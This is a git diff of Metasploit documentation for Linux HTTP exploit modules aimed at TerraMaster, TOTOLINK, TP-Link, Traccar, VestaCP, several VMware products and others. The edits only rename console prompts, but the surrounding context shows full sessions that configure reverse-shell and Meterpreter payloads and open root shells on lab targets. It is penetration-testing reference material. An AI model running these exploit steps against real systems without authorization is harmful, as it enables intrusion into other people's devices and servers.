e0ebed225db08..3d63b7e7e1940 100644 --- a/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md +++ b/documentation/modules/exploit/linux/http/terramaster_unauth_rce_cve_2022_24990.md @@ -32,7 +32,7 @@ No specific options. ## Scenarios ``` -msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > info +msf exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > info Name: TerraMaster TOS 4.2.29 or lower - Unauthenticated RCE chaining CVE-2022-24990 and CVE-2022-24989 Module: exploit/linux/http/terramaster_unauth_rce_cve_2022_24990 @@ -113,9 +113,9 @@ View the full module info with the info -d command. ### TerraMaster F2-221 TOS 4.2.08 - Unix Command `cmd/unix/reverse_bash` session ``` -msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > set target 0 +msf exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > set target 0 target => 0 -msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > exploit +msf exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > exploit [*] Started reverse TCP handler on 192.168.10.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -130,9 +130,9 @@ uid=0(root) gid=0(root) groups=0(root) ``` ### TerraMaster F2-221 TOS 4.2.08 - Linux Dropper `linux/x64/meterpreter/reverse_tcp` session ``` -msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > set target 1 +msf exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > set target 1 target => 1 -msf6 exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > exploit +msf exploit(linux/http/terramaster_unauth_rce_cve_2022_24990) > exploit [*] Started reverse TCP handler on 192.168.10.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/totolink_unauth_rce_cve_2023_30013.md b/documentation/modules/exploit/linux/http/totolink_unauth_rce_cve_2023_30013.md index 7d02a96fac38d..8e1ea08bf4d49 100644 --- a/documentation/modules/exploit/linux/http/totolink_unauth_rce_cve_2023_30013.md +++ b/documentation/modules/exploit/linux/http/totolink_unauth_rce_cve_2023_30013.md @@ -242,7 +242,7 @@ Nmap done: 1 IP address (1 host up) scanned in 1.78 seconds you should get a `reverse shell` or `Meterpreter` ``` -msf6 exploit(linux/http/totolink_unauth_rce_cve_2023_30013) > options +msf exploit(linux/http/totolink_unauth_rce_cve_2023_30013) > options Module options (exploit/linux/http/totolink_unauth_rce_cve_2023_30013): @@ -288,11 +288,11 @@ Sleep time in seconds to test blind command injection. Default set is to 3 secon ## Scenarios ### FirmAE X5000R Router Emulation Unix Command - cmd/unix/reverse_netcat_gaping ``` -msf6 exploit(linux/http/totolink_unauth_rce_cve_2023_30013) > set target 0 +msf exploit(linux/http/totolink_unauth_rce_cve_2023_30013) > set target 0 target => 0 -msf6 exploit(linux/http/totolink_unauth_rce_cve_2023_30013) > set payload cmd/unix/reverse_netcat_gaping +msf exploit(linux/http/totolink_unauth_rce_cve_2023_30013) > set payload cmd/unix/reverse_netcat_gaping payload => cmd/unix/reverse_netcat_gaping -msf6 exploit(linux/http/totolink_unauth_rce_cve_2023_30013) > exploit +msf exploit(linux/http/totolink_unauth_rce_cve_2023_30013) > exploit [*] Started reverse TCP handler on 192.168.0.2:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -312,11 +312,11 @@ pwd ``` ### FirmAE X5000R Router Emulation Linux Dropper - linux/mipsle/meterpreter_reverse_tcp ``` -msf6 exploit(linux/http/totolink_unauth_rce_cve_2023_30013) > set target 1 +msf exploit(linux/http/totolink_unauth_rce_cve_2023_30013) > set target 1 target => 1 -msf6 exploit(linux/http/totolink_unauth_rce_cve_2023_30013) > set payload linux/mipsle/meterpreter_reverse_tcp +msf exploit(linux/http/totolink_unauth_rce_cve_2023_30013) > set payload linux/mipsle/meterpreter_reverse_tcp payload => linux/mipsle/meterpreter_reverse_tcp -msf6 exploit(linux/http/totolink_unauth_rce_cve_2023_30013) > exploit +msf exploit(linux/http/totolink_unauth_rce_cve_2023_30013) > exploit [*] Started reverse TCP handler on 192.168.0.2:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/tp_link_ncxxx_bonjour_command_injection.md b/documentation/modules/exploit/linux/http/tp_link_ncxxx_bonjour_command_injection.md index 03f2aedf90acd..6a82e98a6096e 100644 --- a/documentation/modules/exploit/linux/http/tp_link_ncxxx_bonjour_command_injection.md +++ b/documentation/modules/exploit/linux/http/tp_link_ncxxx_bonjour_command_injection.md @@ -62,25 +62,25 @@ The web interface password for the specified username Target = 0 (TP-Link NC200, NC220, NC230, NC250) ``` -msf5 > use exploit/linux/http/tp_link_ncxxx_bonjour_command_injection +msf > use exploit/linux/http/tp_link_ncxxx_bonjour_command_injection [*] No payload configured, defaulting to linux/mipsle/meterpreter/reverse_tcp -msf5 exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set rhost 192.168.0.1 +msf exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set rhost 192.168.0.1 rhost => 192.168.0.1 -msf5 exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set rport 80 +msf exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set rport 80 rport => 80 -msf5 exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set target 0 +msf exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set target 0 target => 0 -msf5 exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set username admin +msf exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set username admin username => admin -msf5 exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set password password +msf exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set password password password => password -msf5 exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set payload linux/mipsle/shell/reverse_tcp +msf exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set payload linux/mipsle/shell/reverse_tcp payload => linux/mipsle/shell/reverse_tcp -msf5 exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set lhost 192.168.0.254 +msf exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set lhost 192.168.0.254 lhost => 192.168.0.254 -msf5 exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set lport 5555 +msf exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set lport 5555 lport => 5555 -msf5 exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > exploit +msf exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > exploit [*] Started reverse TCP handler on 192.168.0.254:6666 [*] Authenticating with admin:YWRtaW4= ... @@ -102,25 +102,25 @@ msf5 exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > exploit Target = 1 (TP-Link NC260, NC450) ``` -msf5 > use exploit/linux/http/tp_link_ncxxx_bonjour_command_injection +msf > use exploit/linux/http/tp_link_ncxxx_bonjour_command_injection [*] No payload configured, defaulting to linux/mipsle/meterpreter/reverse_tcp -msf5 exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set rhost 192.168.0.1 +msf exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set rhost 192.168.0.1 rhost => 192.168.0.1 -msf5 exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set rport 443 +msf exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set rport 443 rport => 443 -msf5 exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set target 1 +msf exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set target 1 target => 1 -msf5 exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set username admin +msf exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set username admin username => admin -msf5 exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set password password +msf exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set password password password => password -msf5 exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set payload linux/mipsle/shell/reverse_tcp +msf exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set payload linux/mipsle/shell/reverse_tcp payload => linux/mipsle/shell/reverse_tcp -msf5 exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set lhost 192.168.0.254 +msf exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set lhost 192.168.0.254 lhost => 192.168.0.254 -msf5 exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set lport 5555 +msf exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > set lport 5555 lport => 5555 -msf5 exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > exploit +msf exploit(linux/http/tp_link_ncxxx_bonjour_command_injection) > exploit [*] Started reverse TCP handler on 192.168.0.254:5555 [*] Authenticating with admin:0b8b946432f1ac91f0b07bd5f8df6587 ... diff --git a/documentation/modules/exploit/linux/http/traccar_rce_upload.md b/documentation/modules/exploit/linux/http/traccar_rce_upload.md index a44f405c0ded9..af5240305dcad 100644 --- a/documentation/modules/exploit/linux/http/traccar_rce_upload.md +++ b/documentation/modules/exploit/linux/http/traccar_rce_upload.md @@ -27,11 +27,11 @@ The vulnerable application runs by default on Eclipse Jetty, which listens on TC 2. Start `msfconsole` and run the following commands: ``` -msf6 > use exploit/linux/http/traccar_rce_upload +msf > use exploit/linux/http/traccar_rce_upload [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/traccar_rce_upload) > set RHOSTS -msf6 exploit(linux/http/traccar_rce_upload) > set LHOST -msf6 exploit(linux/http/traccar_rce_upload) > exploit +msf exploit(linux/http/traccar_rce_upload) > set RHOSTS +msf exploit(linux/http/traccar_rce_upload) > set LHOST +msf exploit(linux/http/traccar_rce_upload) > exploit ``` You should get a meterpreter session in the context of `root`. @@ -53,7 +53,7 @@ Running the exploit against Traccar v5.12 on Rocky Linux 9.4, using curl as a fe to the following: ``` -msf6 exploit(linux/http/traccar_rce_upload) > exploit +msf exploit(linux/http/traccar_rce_upload) > exploit [*] Started reverse TCP handler on 192.168.217.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/trendmicro_websecurity_exec.md b/documentation/modules/exploit/linux/http/trendmicro_websecurity_exec.md index f277aed746f4f..be1ba4a3323dd 100644 --- a/documentation/modules/exploit/linux/http/trendmicro_websecurity_exec.md +++ b/documentation/modules/exploit/linux/http/trendmicro_websecurity_exec.md @@ -72,19 +72,19 @@ contain any special characters. ### Trend Micro Web Security 6.5-SP2_Build_Linux_1852 ``` -msf5 > use exploit/linux/http/trendmicro_websecurity_exec -msf5 exploit(linux/http/trendmicro_websecurity_exec) > set RHOSTS 192.168.74.31 +msf > use exploit/linux/http/trendmicro_websecurity_exec +msf exploit(linux/http/trendmicro_websecurity_exec) > set RHOSTS 192.168.74.31 RHOSTS => 192.168.74.31 -msf5 exploit(linux/http/trendmicro_websecurity_exec) > set LHOST 172.31.224.186 +msf exploit(linux/http/trendmicro_websecurity_exec) > set LHOST 172.31.224.186 LHOST => 172.31.224.186 -msf5 exploit(linux/http/trendmicro_websecurity_exec) > check +msf exploit(linux/http/trendmicro_websecurity_exec) > check [*] Trying to extract session ID by exploiting reverse proxy service [+] Extracted number of JSESSIONID : 16 [*] Testing JSESSIONID #0 : 132B2651F070E865A646F3ABA681769A [+] Awesome !!! JESSIONID #0 is active. [+] 192.168.74.31:8443 - The target is vulnerable. -msf5 exploit(linux/http/trendmicro_websecurity_exec) > run +msf exploit(linux/http/trendmicro_websecurity_exec) > run [*] Started reverse TCP handler on 172.31.224.186:4444 [*] Trying to extract session ID by exploiting reverse proxy service diff --git a/documentation/modules/exploit/linux/http/ueb_api_rce.md b/documentation/modules/exploit/linux/http/ueb_api_rce.md index 7ffdcbd305a5c..4c625675b4810 100644 --- a/documentation/modules/exploit/linux/http/ueb_api_rce.md +++ b/documentation/modules/exploit/linux/http/ueb_api_rce.md @@ -22,14 +22,14 @@ This exploit has two targets: ### UEB 9.2 on CentOS 6.5 Using api/storage (target 0) root exploit ``` -msf5 > use exploit/linux/http/ueb_api_rce -msf5 exploit(linux/http/ueb_api_rce) > set target 0 +msf > use exploit/linux/http/ueb_api_rce +msf exploit(linux/http/ueb_api_rce) > set target 0 target => 0 -msf5 exploit(linux/http/ueb_api_rce) > set rhost 1.1.1.1 +msf exploit(linux/http/ueb_api_rce) > set rhost 1.1.1.1 rhost => 1.1.1.1 -msf5 exploit(linux/http/ueb_api_rce) > set lhost 2.2.2.2 +msf exploit(linux/http/ueb_api_rce) > set lhost 2.2.2.2 lhost => 2.2.2.2 -msf5 exploit(linux/http/ueb_api_rce) > exploit +msf exploit(linux/http/ueb_api_rce) > exploit [*] Started reverse TCP handler on 2.2.2.2:4444 [*] 1.1.1.1:443 - Sending requests to UEB... @@ -56,14 +56,14 @@ Server username: uid=0, gid=0, euid=0, egid=0 ### UEB 9.2 on CentOS 6.5 Using api/hosts (target 1) exploit ``` -msf5 > use exploit/linux/http/ueb_api_rce -msf5 exploit(linux/http/ueb_api_rce) > set target 1 +msf > use exploit/linux/http/ueb_api_rce +msf exploit(linux/http/ueb_api_rce) > set target 1 target => 1 -msf5 exploit(linux/http/ueb_api_rce) > set rhost 1.1.1.1 +msf exploit(linux/http/ueb_api_rce) > set rhost 1.1.1.1 rhost => 1.1.1.1 -msf5 exploit(linux/http/ueb_api_rce) > set lhost 2.2.2.2 +msf exploit(linux/http/ueb_api_rce) > set lhost 2.2.2.2 lhost => 2.2.2.2 -msf5 exploit(linux/http/ueb_api_rce) > exploit +msf exploit(linux/http/ueb_api_rce) > exploit [*] Started reverse TCP handler on 2.2.2.2:4444 [*] 1.1.1.1:443 - Sending requests to UEB... diff --git a/documentation/modules/exploit/linux/http/unraid_auth_bypass_exec.md b/documentation/modules/exploit/linux/http/unraid_auth_bypass_exec.md index 6993e9a4aea46..a2d6f1b60bf0e 100644 --- a/documentation/modules/exploit/linux/http/unraid_auth_bypass_exec.md +++ b/documentation/modules/exploit/linux/http/unraid_auth_bypass_exec.md @@ -30,12 +30,12 @@ according to the [UnRAID Getting Started](https://wiki.unraid.net/UnRAID_6/Getti ## Scenarios ``` -msf5 > use exploit/linux/http/unraid_auth_bypass_exec.rb -msf5 exploit(linux/http/unraid_auth_bypass_exec) > set RHOSTS 10.10.0.173 +msf > use exploit/linux/http/unraid_auth_bypass_exec.rb +msf exploit(linux/http/unraid_auth_bypass_exec) > set RHOSTS 10.10.0.173 RHOSTS => 10.10.0.173 -msf5 exploit(linux/http/unraid_auth_bypass_exec) > check +msf exploit(linux/http/unraid_auth_bypass_exec) > check [*] 10.10.0.173:80 - The target appears to be vulnerable. -msf5 exploit(linux/http/unraid_auth_bypass_exec) > run +msf exploit(linux/http/unraid_auth_bypass_exec) > run [*] Started reverse TCP handler on 10.10.0.161:4444 [*] Sending stage (38288 bytes) to 10.10.0.173 diff --git a/documentation/modules/exploit/linux/http/vestacp_exec.md b/documentation/modules/exploit/linux/http/vestacp_exec.md index 00ddc890d346e..596ea42e94cb2 100644 --- a/documentation/modules/exploit/linux/http/vestacp_exec.md +++ b/documentation/modules/exploit/linux/http/vestacp_exec.md @@ -62,26 +62,26 @@ A successful check of the exploit will look similar to the output shown below: ## Ubuntu 18.04 LTS with VestaCP 0.9.26 ``` -msf5 > use exploit/linux/http/vestacp_exec -msf5 exploit(linux/http/vestacp_exec) > set RHOSTS 192.168.74.218 +msf > use exploit/linux/http/vestacp_exec +msf exploit(linux/http/vestacp_exec) > set RHOSTS 192.168.74.218 RHOSTS => 192.168.74.218 -msf5 exploit(linux/http/vestacp_exec) > set USERNAME user11 +msf exploit(linux/http/vestacp_exec) > set USERNAME user11 USERNAME => user11 -msf5 exploit(linux/http/vestacp_exec) > set PASSWORD qwe123 +msf exploit(linux/http/vestacp_exec) > set PASSWORD qwe123 PASSWORD => qwe123 -msf5 exploit(linux/http/vestacp_exec) > set LHOST 192.168.74.1 +msf exploit(linux/http/vestacp_exec) > set LHOST 192.168.74.1 LHOST => 192.168.74.1 -msf5 exploit(linux/http/vestacp_exec) > set SRVHOST 192.168.74.1 +msf exploit(linux/http/vestacp_exec) > set SRVHOST 192.168.74.1 SRVHOST => 192.168.74.1 -msf5 exploit(linux/http/vestacp_exec) > set SRVPORT 8081 +msf exploit(linux/http/vestacp_exec) > set SRVPORT 8081 SRVPORT => 8081 -msf5 exploit(linux/http/vestacp_exec) > run +msf exploit(linux/http/vestacp_exec) > run [*] Exploit running as background job 32. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.74.1:4444 [*] 192.168.74.218:8083 - Using URL: http://192.168.74.1:8081/poSeL7s -msf5 exploit(linux/http/vestacp_exec) > [*] 192.168.74.218:8083 - Second payload download URI is http://192.168.74.1:8081/poSeL7s +msf exploit(linux/http/vestacp_exec) > [*] 192.168.74.218:8083 - Second payload download URI is http://192.168.74.1:8081/poSeL7s [+] 192.168.74.218:21 - Successfully authenticated to the FTP service [+] 192.168.74.218:21 - The file with the payload in the file name has been successfully uploaded. [*] 192.168.74.218:8083 - Retrieving cookie and csrf token values @@ -104,7 +104,7 @@ msf5 exploit(linux/http/vestacp_exec) > [*] 192.168.74.218:8083 - Second payload [*] Sending stage (53755 bytes) to 192.168.74.218 [*] Meterpreter session 8 opened (192.168.74.1:4444 -> 192.168.74.218:58790) at 2020-04-11 14:35:23 +0300 -msf5 exploit(linux/http/vestacp_exec) > sessions -i 8 +msf exploit(linux/http/vestacp_exec) > sessions -i 8 [*] Starting interaction with 8... meterpreter > shell diff --git a/documentation/modules/exploit/linux/http/vinchin_backup_recovery_cmd_inject.md b/documentation/modules/exploit/linux/http/vinchin_backup_recovery_cmd_inject.md index 6f12b7f36b3df..3c40399c7de6a 100644 --- a/documentation/modules/exploit/linux/http/vinchin_backup_recovery_cmd_inject.md +++ b/documentation/modules/exploit/linux/http/vinchin_backup_recovery_cmd_inject.md @@ -79,7 +79,7 @@ exploit **Expected Output**: ``` -msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > options +msf exploit(linux/http/vinchin_backup_recovery_cmd_inject) > options Module options (exploit/linux/http/vinchin_backup_recovery_cmd_inject): @@ -142,13 +142,13 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > set rhosts 192.168.1.3 +msf exploit(linux/http/vinchin_backup_recovery_cmd_inject) > set rhosts 192.168.1.3 rhosts => 192.168.1.3 -msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > check +msf exploit(linux/http/vinchin_backup_recovery_cmd_inject) > check [*] Detected Vinchin version: 7.0.1.26282 [+] 192.168.1.3:443 - The target is vulnerable. -msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > exploit +msf exploit(linux/http/vinchin_backup_recovery_cmd_inject) > exploit [*] Started reverse TCP handler on 192.168.1.5:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.md b/documentation/modules/exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.md index 1123f65c15d29..ab16054706e3a 100644 --- a/documentation/modules/exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.md +++ b/documentation/modules/exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.md @@ -42,9 +42,9 @@ No specific options. ### VMware NSX Manager bash reverse shell ``` -msf6 > use exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144 +msf > use exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144 [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > options +msf exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > options Module options (exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144): @@ -77,11 +77,11 @@ Exploit target: 0 Unix (In-Memory) -msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > set rhosts 192.168.100.5 +msf exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > set rhosts 192.168.100.5 rhosts => 192.168.100.5 -msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > set lhost 192.168.100.7 +msf exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > set lhost 192.168.100.7 lhost => 192.168.100.7 -msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > exploit +msf exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > exploit [*] Started reverse TCP handler on 192.168.100.7:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -102,9 +102,9 @@ exit ### VMware NSX Manager meterpreter session ``` -msf6 > use exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144 +msf > use exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144 [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > options +msf exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > options Module options (exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144): @@ -137,11 +137,11 @@ Exploit target: 1 Linux Dropper -msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > set rhosts 192.168.100.5 +msf exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > set rhosts 192.168.100.5 rhosts => 192.168.100.5 -msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > set lhost 192.168.100.7 +msf exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > set lhost 192.168.100.7 lhost => 192.168.100.7 -msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > exploit +msf exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > exploit [*] Started reverse TCP handler on 192.168.100.7:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/vmware_vcenter_analytics_file_upload.md b/documentation/modules/exploit/linux/http/vmware_vcenter_analytics_file_upload.md index 2d44f982a9cb6..9e9d4f314d56d 100644 --- a/documentation/modules/exploit/linux/http/vmware_vcenter_analytics_file_upload.md +++ b/documentation/modules/exploit/linux/http/vmware_vcenter_analytics_file_upload.md @@ -27,9 +27,9 @@ Follow [Setup](#setup) and [Scenarios](#scenarios). ### VMware vCenter Server 6.7 Update 3n (Linux appliance) ``` -msf6 > use exploit/linux/http/vmware_vcenter_analytics_file_upload +msf > use exploit/linux/http/vmware_vcenter_analytics_file_upload [*] Using configured payload cmd/unix/reverse_perl_ssl -msf6 exploit(linux/http/vmware_vcenter_analytics_file_upload) > options +msf exploit(linux/http/vmware_vcenter_analytics_file_upload) > options Module options (exploit/linux/http/vmware_vcenter_analytics_file_upload): @@ -62,11 +62,11 @@ Exploit target: 0 Unix Command -msf6 exploit(linux/http/vmware_vcenter_analytics_file_upload) > set rhosts 172.16.57.2 +msf exploit(linux/http/vmware_vcenter_analytics_file_upload) > set rhosts 172.16.57.2 rhosts => 172.16.57.2 -msf6 exploit(linux/http/vmware_vcenter_analytics_file_upload) > set lhost 172.16.57.1 +msf exploit(linux/http/vmware_vcenter_analytics_file_upload) > set lhost 172.16.57.1 lhost => 172.16.57.1 -msf6 exploit(linux/http/vmware_vcenter_analytics_file_upload) > run +msf exploit(linux/http/vmware_vcenter_analytics_file_upload) > run [*] Started reverse SSL handler on 172.16.57.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/vmware_vcenter_vsan_health_rce.md b/documentation/modules/exploit/linux/http/vmware_vcenter_vsan_health_rce.md index 9ff4cac75432c..c8cff47a27080 100644 --- a/documentation/modules/exploit/linux/http/vmware_vcenter_vsan_health_rce.md +++ b/documentation/modules/exploit/linux/http/vmware_vcenter_vsan_health_rce.md @@ -36,9 +36,9 @@ Follow [Setup](#setup) and [Scenarios](#scenarios). ### VMware vCenter Server 6.7 Update 3m (Linux appliance) ``` -msf6 > use exploit/linux/http/vmware_vcenter_vsan_health_rce +msf > use exploit/linux/http/vmware_vcenter_vsan_health_rce [*] Using configured payload cmd/unix/reverse_python_ssl -msf6 exploit(linux/http/vmware_vcenter_vsan_health_rce) > options +msf exploit(linux/http/vmware_vcenter_vsan_health_rce) > options Module options (exploit/linux/http/vmware_vcenter_vsan_health_rce): @@ -71,11 +71,11 @@ Exploit target: 0 Unix Command -msf6 exploit(linux/http/vmware_vcenter_vsan_health_rce) > set rhosts 172.16.57.2 +msf exploit(linux/http/vmware_vcenter_vsan_health_rce) > set rhosts 172.16.57.2 rhosts => 172.16.57.2 -msf6 exploit(linux/http/vmware_vcenter_vsan_health_rce) > set lhost 172.16.57.1 +msf exploit(linux/http/vmware_vcenter_vsan_health_rce) > set lhost 172.16.57.1 lhost => 172.16.57.1 -msf6 exploit(linux/http/vmware_vcenter_vsan_health_rce) > run +msf exploit(linux/http/vmware_vcenter_vsan_health_rce) > run [*] Started reverse SSL handler on 172.16.57.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/vmware_view_planner_4_6_uploadlog_rce.md b/documentation/modules/exploit/linux/http/vmware_view_planner_4_6_uploadlog_rce.md index 8a3c3715a8842..9d5690a4732eb 100644 --- a/documentation/modules/exploit/linux/http/vmware_view_planner_4_6_uploadlog_rce.md +++ b/documentation/modules/exploit/linux/http/vmware_view_planner_4_6_uploadlog_rce.md @@ -38,13 +38,13 @@ in RCE as the `apache` user within the `appacheServer` Docker container. ### VMWare View Planner 4.6.0.0 OVA (viewplanner-harness-4.6.0.0-16995088_OVF10.ova) ``` -msf6 > use exploit/linux/http/vmware_view_planner_4_6_uploadlog_rce +msf > use exploit/linux/http/vmware_view_planner_4_6_uploadlog_rce [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/http/vmware_view_planner_4_6_uploadlog_rce) > set RHOSTS 172.18.51.76 +msf exploit(linux/http/vmware_view_planner_4_6_uploadlog_rce) > set RHOSTS 172.18.51.76 RHOSTS => 172.18.51.76 -msf6 exploit(linux/http/vmware_view_planner_4_6_uploadlog_rce) > set LHOST 172.18.54.135 +msf exploit(linux/http/vmware_view_planner_4_6_uploadlog_rce) > set LHOST 172.18.54.135 LHOST => 172.18.54.135 -msf6 exploit(linux/http/vmware_view_planner_4_6_uploadlog_rce) > show options +msf exploit(linux/http/vmware_view_planner_4_6_uploadlog_rce) > show options Module options (exploit/linux/http/vmware_view_planner_4_6_uploadlog_rce): @@ -72,7 +72,7 @@ Exploit target: -- ---- 0 VMware View Planner 4.6.0 -msf6 exploit(linux/http/vmware_view_planner_4_6_uploadlog_rce) > exploit +msf exploit(linux/http/vmware_view_planner_4_6_uploadlog_rce) > exploit [*] Started reverse TCP handler on 172.18.54.135:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/linux/http/vmware_vrli_rce.md b/documentation/modules/exploit/linux/http/vmware_vrli_rce.md index 846acbfeee5df..c8f20e3b64dce 100644 --- a/documentation/modules/exploit/linux/http/vmware_vrli_rce.md +++ b/documentation/modules/exploit/linux/http/vmware_vrli_rce.md @@ -51,15 +51,15 @@ This value represents the duration of wait after issuing a PakUpgrade command. ## Scenarios ``` -msf6 > use exploit/linux/http/vmware_vrli_rce +msf > use exploit/linux/http/vmware_vrli_rce [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/vmware_vrli_rce) > set rhosts 192.168.56.107 +msf exploit(linux/http/vmware_vrli_rce) > set rhosts 192.168.56.107 rhosts => 192.168.56.107 -msf6 exploit(linux/http/vmware_vrli_rce) > set lhost 192.168.56.1 +msf exploit(linux/http/vmware_vrli_rce) > set lhost 192.168.56.1 lhost => 192.168.56.1 -msf6 exploit(linux/http/vmware_vrli_rce) > set srvhost 192.168.56.1 +msf exploit(linux/http/vmware_vrli_rce) > set srvhost 192.168.56.1 srvhost => 192.168.56.1 -msf6 exploit(linux/http/vmware_vrli_rce) > run +msf exploit(linux/http/vmware_vrli_rce) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [*] 192.168.56.107:443 - Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/vmware_vrni_rce_cve_2023_20887.md b/documentation/modules/exploit/linux/http/vmware_vrni_rce_cve_2023_20887.md index bc712f271981c..0253b8c8d8193 100644 --- a/documentation/modules/exploit/linux/http/vmware_vrni_rce_cve_2023_20887.md +++ b/documentation/modules/exploit/linux/http/vmware_vrni_rce_cve_2023_20887.md @@ -58,15 +58,15 @@ Step 4/4: Web-Proxy (Optional Configuration) ### VMware vRealize Network Insight 6.8.0 1666364233 ``` -msf6 > use linux/http/vmware_vrni_rce_cve_2023_20887 +msf > use linux/http/vmware_vrni_rce_cve_2023_20887 [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/vmware_vrni_rce_cve_2023_20887) > set rhost 192.168.1.60 +msf exploit(linux/http/vmware_vrni_rce_cve_2023_20887) > set rhost 192.168.1.60 rhost => 192.168.1.60 -msf6 exploit(linux/http/vmware_vrni_rce_cve_2023_20887) > set lhost 192.168.1.67 +msf exploit(linux/http/vmware_vrni_rce_cve_2023_20887) > set lhost 192.168.1.67 lhost => 192.168.1.67 -msf6 exploit(linux/http/vmware_vrni_rce_cve_2023_20887) > set FETCH_SRVHOST 192.168.1.67 +msf exploit(linux/http/vmware_vrni_rce_cve_2023_20887) > set 